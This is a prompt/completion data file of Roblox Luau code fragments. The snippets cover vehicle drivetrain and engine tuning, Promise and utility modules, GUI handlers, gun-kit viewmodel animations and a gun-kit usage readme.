prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
--[[Drivetrain]]
|
Tune.Config = "AWD" --"FWD" , "RWD" , "AWD"
Tune.TorqueVector = 0.1 --AWD ONLY, "-1" has a 100% front bias, "0" has a 50:50 bias, and "1" has a 100% rear bias. Can be any number between that range.
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 80 -- 1 - 100%
Tune.RDiffLockThres = 20 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--weld2
|
function module.weld2(base,target,tim)
local weld = Instance.new("Weld")
weld.Part0 = base
weld.Part1 = target
weld.C0 = target.CFrame:inverse() * base.CFrame
weld.Parent = weld.Part1
game.Debris:AddItem(target,tim)
end
|
--This script creates a leaderstat and saves it with the DataStoreService.
--Put this inside of the ServerScriptService.
|
local stat = "Joins" --Change to your stat name
local startamount = 0 --Change to how much points the player will start out with
local DataStore = game:GetService("DataStoreService")
local ds = DataStore:GetDataStore("LeaderStatSave")
|
--[[
Yield until the promise is completed.
This matches the execution model of normal Roblox functions.
]]
|
function Promise:await()
self._unhandledRejection = false
if self._status == Promise.Status.Started then
local result
local bindable = Instance.new("BindableEvent")
self:andThen(function(...)
result = {...}
bindable:Fire(true)
end, function(...)
result = {...}
bindable:Fire(false)
end)
local ok = bindable.Event:Wait()
bindable:Destroy()
if not ok then
error(tostring(result[1]), 2)
end
return unpack(result)
elseif self._status == Promise.Status.Resolved then
return unpack(self._value)
elseif self._status == Promise.Status.Rejected then
error(tostring(self._value[1]), 2)
end
end
function Promise:_resolve(...)
if self._status ~= Promise.Status.Started then
return
end
-- If the resolved value was a Promise, we chain onto it!
if Promise.is((...)) then
-- Without this warning, arguments sometimes mysteriously disappear
if select("#", ...) > 1 then
local message = ("When returning a Promise from andThen, extra arguments are discarded! See:\n\n%s"):format(
self._source
)
warn(message)
end
(...):andThen(function(...)
self:_resolve(...)
end, function(...)
self:_reject(...)
end)
return
end
self._status = Promise.Status.Resolved
self._value = {...}
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedResolve) do
callback(...)
end
end
function Promise:_reject(...)
if self._status ~= Promise.Status.Started then
return
end
self._status = Promise.Status.Rejected
self._value = {...}
-- If there are any rejection handlers, call those!
if not isEmpty(self._queuedReject) then
-- We assume that these callbacks will not throw errors.
for _, callback in ipairs(self._queuedReject) do
callback(...)
end
else
-- At this point, no one was able to observe the error.
-- An error handler might still be attached if the error occurred
-- synchronously. We'll wait one tick, and if there are still no
-- observers, then we should put a message in the console.
self._unhandledRejection = true
-- Rather than trying to figure out how to pack/represent the rejection values,
-- we just stringify the first value and leave the rest alone
local err = tutils.toString((...))
spawn(function()
-- Someone observed the error, hooray!
if not self._unhandledRejection then
return
end
-- Build a reasonable message
local message = ("Unhandled promise rejection:\n\n%s\n\n%s"):format(
err,
self._source
)
warn(message)
end)
end
end
return Promise
|
--[=[
Retrieves an attribute, and if it is nil, returns the default
instead.
@param instance Instance
@param attributeName string
@param default T?
@return T?
]=]
|
function AttributeUtils.getAttribute(instance, attributeName, default)
local value = instance:GetAttribute(attributeName)
if value == nil then
return default
end
return value
end
return AttributeUtils
|
--- Copies a table, but not deep.
-- @tparam table target Table to copy
-- @treturn table New table
|
function Table.copy(target)
local new = {}
for key, value in pairs(target) do
new[key] = value
end
return new
end
|
--// Animations
|
-- Idle Anim
IdleAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.902175903, 0.295501232, -1.32277012, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(1.06851184, 0.973718464, -2.29667926, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.18)
end;
-- FireMode Anim
FireModeAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0.340285569, 0, -0.0787199363, 0.962304771, 0.271973342, 0, -0.261981696, 0.926952124, -0.268561482, -0.0730415657, 0.258437991, 0.963262498), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(0.67163527, -0.310947895, -1.34432662, 0.766044378, -2.80971371e-008, 0.642787576, -0.620885074, -0.258818865, 0.739942133, 0.166365519, -0.965925872, -0.198266774), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.25)
objs[4]:WaitForChild("Click"):Play()
end;
-- Reload Anim
ReloadAnim = function(char, speed, objs)
TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0, -4.37113883e-08, 1, -0.167529613, -0.985867023, -4.30936176e-08), function(X) return math.sin(math.rad(X)) end, 0.5)
TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -1.82817471, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.5)
wait(0.5)
local MagC = Tool:WaitForChild("Mag"):clone()
MagC:FindFirstChild("Mag"):Destroy()
MagC.Parent = Tool
MagC.Name = "MagC"
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = workspace.CurrentCamera:WaitForChild("Arms"):WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[4].CFrame)
objs[4].Transparency = 1
objs[6]:WaitForChild("MagOut"):Play()
TweenJoint(objs[3], nil , CFrame.new(0.436954767, 0.654289246, -3.00337243, 0.894326091, -0.267454475, 0.358676374, -0.413143814, -0.185948789, 0.891479254, -0.171734676, -0.945458114, -0.276796043), function(X) return math.sin(math.rad(X)) end, 0.3)
TweenJoint(objs[2], nil , CFrame.new(-0.630900264, 0.317047596, -1.27966166, 0.985866964, -0.167529628, -7.32295247e-09, 0.0120280236, 0.0707816631, 0.997419298, -0.16709727, -0.983322799, 0.0717963576), function(X) return math.sin(math.rad(X)) end, 0.1)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-1.11434817, 0.317047596, -0.672240019, 0.658346057, -0.747599542, -0.0876094475, 0.0672011375, -0.0575498641, 0.996078312, -0.749709547, -0.661651671, 0.0123518109), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.3)
objs[6]:WaitForChild('MagIn'):Play()
TweenJoint(objs[3], nil , CFrame.new(-0.273085892, 0.654289246, -1.48434556, 0.613444746, -0.780330896, 0.121527649, -0.413143814, -0.185948789, 0.891479254, -0.673050761, -0.597081661, -0.43645826), function(X) return math.sin(math.rad(X)) end, 0.3)
wait(0.4)
MagC:Destroy()
objs[4].Transparency = 0
end;
-- Bolt Anim
BoltBackAnim = function(char, speed, objs)
TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.561492503, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0, 1.19248806e-08, 1, 0.173648179, -0.98480773, 1.17437144e-08), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.379443169, -1.24877262, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.4)
objs[5]:WaitForChild("BoltBack"):Play()
TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -0.578711689, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.25)
TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.311225414, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, 0.0128111057, -0.0726553723, 0.997274816, 0.173174962, -0.982123971, -0.0737762004), function(X) return math.sin(math.rad(X)) end, 0.25)
wait(0.3)
end;
BoltForwardAnim = function(char, speed, objs)
objs[5]:WaitForChild("BoltForward"):Play()
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[2], nil , CFrame.new(-0.674199283, -1.50949407, -0.798391461, 0.098731339, -0.973386228, -0.206811741, -0.90958333, -0.172570169, 0.377991527, -0.403621316, 0.150792867, -0.902414143), function(X) return math.sin(math.rad(X)) end, 0.1)
TweenJoint(objs[3], nil , CFrame.new(-0.723402083, 0.653734565, -1.32277012, 0.98480773, 0.173648179, -2.07073381e-09, -0.00113785546, 0.00645311177, 0.999978542, 0.173644453, -0.98478663, 0.00655265898), function(X) return math.sin(math.rad(X)) end, 0.2)
wait(0.2)
end;
-- Bolting Back
BoltingBackAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(0, 0, 0.273770154, 1, 0, 0, 0, 1, 0, 0, 0, 1), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
BoltingForwardAnim = function(char, speed, objs)
TweenJoint(objs[1], nil , CFrame.new(), function(X) return math.sin(math.rad(X)) end, 0.1)
end;
InspectAnim = function(char, speed, objs)
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.999723792, 0.0109803826, 0.0207702816, -0.0223077796, 0.721017241, 0.692557871, -0.00737112388, -0.692829967, 0.721063137)}):Play()
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-1.49363565, -0.699174881, -1.32277012, 0.66716975, -8.8829113e-09, -0.74490571, 0.651565909, -0.484672248, 0.5835706, -0.361035138, -0.874695837, -0.323358655)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(1.37424219, -0.699174881, -1.03685927, -0.204235911, 0.62879771, 0.750267386, 0.65156585, -0.484672219, 0.58357054, 0.730581641, 0.60803473, -0.310715646)}):Play()
wait(1)
ts:Create(objs[2],TweenInfo.new(1),{C1 = CFrame.new(-0.902175903, 0.295501232, -1.32277012, 0.935064793, -0.354476899, 4.22709467e-09, -0.110443868, -0.291336805, 0.950223684, -0.336832345, -0.888520718, -0.311568588)}):Play()
ts:Create(objs[1],TweenInfo.new(1),{C1 = CFrame.new(0.447846293, 0.654529572, -1.81345785, 0.761665463, -0.514432132, 0.393986136, -0.560285628, -0.217437655, 0.799250066, -0.325492471, -0.82950604, -0.453843832)}):Play()
wait(1)
end;
nadeReload = function(char, speed, objs)
ts:Create(objs[1], TweenInfo.new(0.6), {C1 = CFrame.new(-0.902175903, -1.15645337, -1.32277012, 0.984807789, -0.163175702, -0.0593911409, 0, -0.342020363, 0.939692557, -0.17364797, -0.925416529, -0.336824328)}):Play()
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.654529691, -1.92835355, 0.787567914, -0.220087856, 0.575584888, -0.323594928, 0.647189975, 0.690240026, -0.524426222, -0.72986728, 0.438486755)}):Play()
wait(0.6)
ts:Create(objs[2], TweenInfo.new(0.6), {C1 = CFrame.new(0.805950999, 0.559619546, -1.73060048, 0.802135408, -0.348581612, 0.484839559, -0.597102284, -0.477574915, 0.644508123, 0.00688350201, -0.806481719, -0.59121877)}):Play()
wait(0.6)
end;
}
return Settings
|
--by Repilee 5/1/18--
--(plez no leak kthxbai)
|
local BMWButton = script.Parent:WaitForChild("Button")
local car = script.Parent.Parent.Car.Value
local WindowFrame = script.Parent:WaitForChild("WindowFrame")
local MainFrame = WindowFrame:WaitForChild("MainFrame")
local LightBtn = MainFrame:WaitForChild("InteriorLight")
local FL = MainFrame:WaitForChild("FL")
local FR = MainFrame:WaitForChild("FR")
local debounce = false
local RR = MainFrame:WaitForChild("RR")
local H = MainFrame:WaitForChild("Hood")
local TK = MainFrame:WaitForChild("Trunk")
local RL = MainFrame:WaitForChild("RL")
local handler = car:WaitForChild("BMWPanel_Handler")
H.MouseButton1Down:connect(function()
handler:FireServer("Hood")
end)
FL.MouseButton1Down:connect(function()
if debounce == false then
debounce = true
handler:FireServer("Windows", "FL")
wait(1)
debounce = false
end
end)
FR.MouseButton1Down:connect(function()
if debounce == false then
debounce = true
handler:FireServer("Windows", "FR")
wait(1)
debounce = false
end
end)
RR.MouseButton1Down:connect(function()
if debounce == false then
debounce = true
handler:FireServer("Windows", "RR")
wait(1)
debounce = false
end
end)
RL.MouseButton1Down:connect(function()
if debounce == false then
debounce = true
handler:FireServer("Windows", "RL")
wait(1)
debounce = false
end
end)
BMWButton.MouseButton1Down:Connect(function()
if WindowFrame.Visible == false then
WindowFrame.Visible = true
else
WindowFrame.Visible = false
end
end)
LightBtn.MouseButton1Down:connect(function()
handler:FireServer("Light")
end)
for i, btn in pairs(WindowFrame.AmbientLighting:GetChildren()) do
if btn:IsA("ImageButton") then
btn.MouseButton1Down:connect(function()
handler:FireServer("AMB", btn.Name)
end)
end
end
TK.MouseButton1Down:connect(function()
handler:FireServer("TK")
end)
WindowFrame.AmbientLighting.BACK.MouseButton1Down:connect(function()
MainFrame.Visible = true
WindowFrame.AmbientLighting.Visible = false
end)
MainFrame.AMBSettings.MouseButton1Down:connect(function()
MainFrame.Visible = false
WindowFrame.AmbientLighting.Visible = true
end)
|
--!strict
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]]
|
local Packages = script.Parent.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
type Array<T> = LuauPolyfill.Array<T>
type Object = LuauPolyfill.Object
type void = nil
type NonMaybeType<T> = T
local flowtypes = require(script.Parent["flowtypes.roblox"])
type React_Element<T> = flowtypes.React_Element<T>
type React_Node = flowtypes.React_Node
type SimpleMap<K, V> = { [K]: V }
type Iterable<T> = SimpleMap<string | number, T> | Array<T>
export type ReactNode<T = any> =
React_Element<T>
| ReactPortal
-- | ReactText
| ReactFragment
| ReactProvider<T>
| ReactConsumer<T>
export type ReactEmpty = nil | void | boolean
export type ReactFragment = ReactEmpty | Iterable<React_Node>
export type ReactNodeList = ReactEmpty | React_Node
|
--Y3llow Mustang 2/26/2021--
|
local clone = script.Parent:Clone()
|
--// F key, Horn
|
mouse.KeyUp:connect(function(key)
if key=="f" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 4
veh.Lightbar.middle.Yelp.Volume = 4
veh.Lightbar.middle.Priority.Volume = 4
veh.Lightbar.middle.Manual.Volume = 4
veh.Lightbar.middle.rWail.Volume = 3
veh.Lightbar.middle.rYelp.Volume = 3
veh.Lightbar.middle.rPriority.Volume = 3
end
end)
mouse.KeyDown:connect(function(key)
if key=="j" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.RemoteEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="]" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.TD.RemoteEvent:FireServer(true)
end
end)
mouse.KeyDown:connect(function(key)
if key=="k" then
veh.Lightbar.middle.Beep:Play()
veh.Lightbar.TA.RemoteEvent:FireServer(true)
end
end)
|
-- Explosion shake:
|
ExplosionEvent.OnClientEvent:Connect(function()
if ShakeState == true then
camShake:Shake(CameraShaker.Presets.Explosion)
end
end)
|
--Main
|
local StringUtil: any = {}
function StringUtil.GetReadLength(length: number): number
return 5
end
function StringUtil.CondenseText(str: string): string
local finalStr: string = ""
local isMarkdown: boolean = false
local i = 0
while i < #str do
i += 1
local currentChar: string = string.sub(str, i, i)
if currentChar == "<" then
isMarkdown = true
continue
elseif currentChar == ">" then
isMarkdown = false
continue
elseif isMarkdown then
continue
end
local wasEscapeCharacter: boolean = false
if currentChar == "&" then
--Suspected as escape character.
for j = i, #str do
if string.sub(str, j, j) == ";" then
local suspectedEscape: string = string.sub(str, i, j)
for _, pattern: string in ipairs(RichTextEscapeCharacters) do
if suspectedEscape == pattern[1] then
--move i to j (end of escape character)
i = j
finalStr ..= pattern[2]
wasEscapeCharacter = true
break
end
end
break
end
end
end
if not wasEscapeCharacter then
finalStr ..= currentChar
end
end
return finalStr
end
function StringUtil.CountCharacters(str: string): number
return #StringUtil.CondenseText(str)
end
return StringUtil
|
--Engine
|
function Engine()
--Neutral Gear
if _CGear==0 then _ClutchOn = false end
--Car is off
local revMin = _Tune.IdleRPM
if not _IsOn then
revMin = 0
_CGear = 0
_ClutchOn = false
_GThrot = _Tune.IdleThrottle
end
--Determine RPM
local maxSpin=0
for i,v in pairs(Drive) do
if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end
end
if _ClutchOn then
local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*_Tune.FinalDrive*30/math.pi,_Tune.Redline+100),revMin)
local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
_RPM = ( (_RPM*2*clutchP) + (aRPM*2*(1-clutchP)) )/2
_HP = (_Tune.Horsepower/2) * math.sin((math.pi/((1+(math.min(10,_Tune.IdleOffset)/100))*_Tune.PeakRPM)) * (_RPM - (((2-(1+(math.min(10,_Tune.IdleOffset)/100)))* _Tune.PeakRPM)/2))) + (_Tune.Horsepower/2)
_OutTorque = _HP * 5250 / _RPM * _Tune.Ratios[_CGear+2] * _Tune.FinalDrive
else
if _GThrot-_Tune.IdleThrottle>0 then
_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
else
_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
end
_OutTorque = 0
end
--Rev Limiter
local spLimit = 0
if _RPM>_Tune.Redline then
if _CGear<#_Tune.Ratios-2 then
_RPM = _RPM-_Tune.RevBounce
spLimit = 0
else
_RPM = _RPM-_Tune.RevBounce*.5
end
else
spLimit = (_Tune.Redline+100)*math.pi/(30*_Tune.Ratios[_CGear+2]*_Tune.FinalDrive)
end
--Automatic Transmission
if _TMode == "Auto" and _IsOn then
_ClutchOn = true
if _CGear == 0 then _CGear = 1 end
if _CGear >= 1 then
if _CGear==1 and _GBrake > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = -1
else
if _Tune.AutoShiftMode == "RPM" then
if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*_Tune.FinalDrive*30/math.pi,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
_CGear=math.max(_CGear-1,1)
end
else
if car.DriveSeat.Velocity.Magnitude > math.ceil(wDia*math.pi*(_Tune.PeakRPM+_Tune.AutoUpThresh)/60/_Tune.Ratios[_CGear+2]/_Tune.FinalDrive) then
_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDia*math.pi*(_Tune.PeakRPM-_Tune.AutoDownThresh)/60/_Tune.Ratios[_CGear+1]/_Tune.FinalDrive) then
_CGear=math.max(_CGear-1,1)
end
end
end
else
if _GThrot-_Tune.IdleThrottle > 0 and car.DriveSeat.Velocity.Magnitude < 20 then
_CGear = 1
end
end
end
--Differential Stuff
local fwspeed=0
local fwcount=0
local rwspeed=0
local rwcount=0
for i,v in pairs(car.Wheels:GetChildren()) do
if v.Name=="FL" or v.Name=="FR" or v.Name == "F" then
fwspeed=fwspeed+v.RotVelocity.Magnitude
fwcount=fwcount+1
elseif v.Name=="RL" or v.Name=="RR" or v.Name == "R" then
rwspeed=rwspeed+v.RotVelocity.Magnitude
rwcount=rwcount+1
end
end
fwspeed=fwspeed/fwcount
rwspeed=rwspeed/rwcount
local cwspeed=(fwspeed+rwspeed)/2
--Apply Forces
for i,v in pairs(car.Wheels:GetChildren()) do
local Ref=v.Axle.CFrame.lookVector
local aRef=1
local diffMult=1
if v.Name=="FL" or v.Name=="RL" then aRef=-1 end
--Torque Compensation
if _Tune.Config ~= "AWD" then _OutTorque = _OutTorque*1.3 end
--Differential
if v.Name=="FL" or v.Name=="FR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-fwspeed)/fwspeed)/(math.max(_Tune.FDiffSlipThres,1)/100))*((_Tune.FDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((fwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
elseif v.Name=="RL" or v.Name=="RR" then
diffMult=math.max(0,math.min(1,1+((((v.RotVelocity.Magnitude-rwspeed)/rwspeed)/(math.max(_Tune.RDiffSlipThres,1)/100))*((_Tune.RDiffLockThres-50)/50))))
if _Tune.Config == "AWD" then
diffMult=math.max(0,math.min(1,diffMult*(1+((((rwspeed-cwspeed)/cwspeed)/(math.max(_Tune.CDiffSlipThres,1)/100))*((_Tune.CDiffLockThres-50)/50)))))
end
end
--Output
if _PBrake and ((_Tune.Config ~= "FWD" and (((v.Name=="FL" or v.Name=="FR") and car.DriveSeat.Velocity.Magnitude<20) or ((v.Name=="RR" or v.Name=="RL") and car.DriveSeat.Velocity.Magnitude>=20))) or (_Tune.Config == "FWD" and (v.Name=="RR" or v.Name=="RL"))) then
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_Tune.PBrakeForce
v["#AV"].angularvelocity=Vector3.new()
else
if (_TMode == "Manual" and _GBrake==0) or (_TMode == "Auto" and ((_CGear>-1 and _GBrake==0 ) or (_CGear==-1 and _GThrot-_Tune.IdleThrottle==0 )))then
local driven = false
for _,a in pairs(Drive) do if a==v then driven = true end end
if driven then
local on=1
if not script.Parent.IsOn.Value then on=0 end
local throt = _GThrot
if _TMode == "Auto" and _CGear==-1 then throt = _GBrake end
local tqTCS = 1
if _TCS then
tqTCS = 1-(math.min(math.max(0,math.abs(v.RotVelocity.Magnitude*(v.Size.x/2) - v.Velocity.Magnitude)-_Tune.TCSThreshold)/_Tune.TCSGradient,1)*(1-_Tune.TCSLimit))
end
if tqTCS < 1 then
_TCSActive = true
else
_TCSActive = false
end
local dir = 1
if _CGear==-1 then dir = -1 end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_OutTorque*(1+(v.RotVelocity.Magnitude/60)^1.15)*throt*tqTCS*diffMult*on
v["#AV"].angularvelocity=Ref*aRef*spLimit*dir
else
v["#AV"].maxTorque=Vector3.new()
v["#AV"].angularvelocity=Vector3.new()
end
else
local brake = _GBrake
if _TMode == "Auto" and _CGear==-1 then brake = _GThrot end
v["#AV"].maxTorque=Vector3.new(math.abs(Ref.x),math.abs(Ref.y),math.abs(Ref.z))*_Tune.BrakeForce*brake
v["#AV"].angularvelocity=Vector3.new()
end
end
end
end
|
----- Services
|
local ActionService = game:GetService("ContextActionService")
local UserInputService = game:GetService("UserInputService")
local RS = game:GetService("ReplicatedStorage")
|
-- Initialize move tool
|
local MoveTool = require(CoreTools:WaitForChild 'Move');
Core.AssignHotkey('Z', Core.Support.Call(Core.EquipTool, MoveTool));
Core.AddToolButton(Core.Assets.MoveIcon, 'Z', MoveTool)
|
-- Services
|
local playerService = game:GetService("Players")
local i = game:GetService("UserInputService")
playerService.PlayerAdded:Connect(function (plr)
plr.CharacterAdded:wait()
i.InputBegan:Connect(function(a)
if a.KeyCode == Enum.KeyCode.F then
plr.CameraMode = Enum.CameraMode.Classic
elseif a.KeyCode == Enum.KeyCode.Z then
plr.CameraMode = Enum.CameraMode.LockFirstPerson
end
end)
end)
|
-- Called once when the realism client is starting.
-- This is intended for compatibility with AeroGameFramework modules,
-- but the function will automatically be called if executed from a LocalScript.
|
function CharacterRealism:Start()
assert(not _G.DefineRealismClient, "Realism can only be started once on the client!")
_G.DefineRealismClient = true
for key, value in pairs(Config) do
self[key] = value
end
for _,humanoid in pairs(CollectionService:GetTagged(self.BindTag)) do
self:OnHumanoidAdded(humanoid)
end
self:Connect("UpdateLookAngles", RunService.Heartbeat)
self:Connect("OnLookReceive", self.SetLookAngles.OnClientEvent)
self:Connect("OnHumanoidAdded", CollectionService:GetInstanceAddedSignal(self.BindTag))
end
if script:IsA("ModuleScript") then
-- Return the system as a module table.
return CharacterRealism
else
-- Sanity check
assert(script:FindFirstAncestorOfClass("PlayerScripts"), "RealismClient must be a descendant of the PlayerScripts!")
assert(Players.LocalPlayer, "RealismClient expects a Player on the client to automatically start execution!")
-- Start automatically.
CharacterRealism:Start()
end
|
--//Tool Function\\--
|
tool.Equipped:Connect(function()
contextActionService:BindAction("ActivateSpecial", activate, true, Enum.KeyCode.E)
contextActionService:SetImage("ActivateSpecial", tool.TextureId)
contextActionService:SetPosition("ActivateSpecial", UDim2.new(0.72, -25, 0.20, -25))
mouse.Icon = cursorId
end)
tool.Unequipped:Connect(function()
contextActionService:UnbindAction("ActivateSpecial")
mouse.Icon = ""
end)
tool.Activated:Connect(function()
if not enabled then return end
enabled = false
fire:FireServer(mouse.Hit)
wait(fireRate.Value)
enabled = true
end)
hit.OnClientEvent:Connect(function()
mouse.Icon = hitId
handle.Hitmark:Play()
wait(0.075)
mouse.Icon = cursorId
end)
activateSpecial.OnClientEvent:Connect(function()
for i = specialRechargeTime.Value, 0, -1 do
wait(1)
specialDB = false
print("Recharging: "..i)
end
specialDB = true
end)
|
----//Functions//
|
function hidethingy()
workspace.SpecialItems.CameraTarget.Transparency = 1
workspace.SpecialItems.CameraTarget.Facing.Visible = false
end
hidethingy()
repeat wait(0.1) until Plr.Character ~= nil
CurrentCamera.CameraType = Enum.CameraType.Scriptable
CurrentCamera.CFrame = workspace.SpecialItems.CameraTarget.CFrame
|
-- Get the necessary UI elements
|
local gui = script.Parent.Parent.Parent.AppManager.Settings.Main.User
local guiStore = script.Parent.Parent.Parent.AppManager["App Store"].ProfilePicture
local ClipSettings = require(game.ReplicatedFirst.ClipSettings)
local profilePicture = gui.ProfilePicture
local displayName = gui.DisplayName
|
--[[
Constructs a new computed state object which maps pairs of an array using
a `processor` function.
Optionally, a `destructor` function can be specified for cleaning up values.
If omitted, the default cleanup function will be used instead.
]]
|
local Package = script.Parent.Parent
local Types = require(Package.Types)
local captureDependencies = require(Package.Dependencies.captureDependencies)
local initDependency = require(Package.Dependencies.initDependency)
local useDependency = require(Package.Dependencies.useDependency)
local parseError = require(Package.Logging.parseError)
local logErrorNonFatal = require(Package.Logging.logErrorNonFatal)
local cleanup = require(Package.Utility.cleanup)
local class = {}
local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
|
--[[
VERSION: v0.0.3
----------[ UPDATES ]----------------------------------------------------
Pre-Release: -Added a copyright
-fixed the issue where you couldn't run when you selected the tool
-Added an ADS key and allowed ADS to either be toggle or hold
-Made the Ammo values external so they can be changed by outside scripts
v0.0.2: -Created new arms for the gun
-Fixed an issue where the arms would glitch if PlayerAnimations was set to false and the gun was fired
-Updated credit security
-Put the Arm cframes in the SETTINGS
-Made the stance changing animations slightly smoother
-Added bullet drop
-Fixed some bullet hit handling code
-Made the torso being able to rotate while sitting down a setting
-Added bullet settings
-Added shockwave settings
-Added an Explosive guntype
-Added a version label in the Gui
v0.0.3: -Added an option to have player arms
-Added grenades / throwables
-Fixed the issue where if a player left a server without deselecting the gun, the bullet trails still remained
-Added Gui Scopes
-Fixed the issue where the guns would glitch if you switched weapons too fast
-------------------------------------------------------------------------
Hello there!
Glad to know you're using my one and only Gun Kit!
Even though this kit has many features and is rather advanced, it's pretty easy to use
There are 4 things that this gun needs in order to function:
One brick called "AimPart"
At least one brick called "Mag"
One brick called "Handle"
One brick called "Main"
The AimPart is what the gun will use to aim down the sights. When you aim down your sights, this brick will be in the center
of the player's head. It basically allows the gun to have any type of sight, which can be placed anywhere on the gun. As long as
the AimPart is aligned with the sight, the gun will aim down the sights properly.
(NOTE: Make sure the AimPart is behind the Sight and the FRONT of the AimPart is facing the Sight)
The Mag is what the gun will move around when you reload the gun. If the mag is made up of more than one brick, make sure those
bricks are also called "Mag" so that the gun will move them around. If you set ReloadAnimation to false in the SETTINGS, you don't
need any bricks called "Mag". But if ReloadAnimation is set to true, the gun needs at least one brick called "Mag" or it will break
The Handle is obviously the most important part of the Gun. Without it, the tool itself wouldn't work. It's that simple
(NOTE: If you want a sound to play when you fire, name it "FireSound" and place it in the Handle. If you want a sound to play when
you reload, name it "ReloadSound" and place it in the Handle)
The Main is the brick where the bullets will originate from. It's also the brick where the flash effects are kept.
(NOTE: If you want a flash billboardgui to appear when you fire, name it "FlashGui" and place it in the Main. If you want a light
to flash when you fire, name it "FlashFX" and place it in the Main)
----------[ INSTRUCTIONS ]-----------------------------------------------
HOW TO USE THIS KIT:
1) If the gun already has a Handle, make sure it is facing forward. If the gun doesn't have a Handle, create one and place
it wherever you like, and make sure it is facing forward
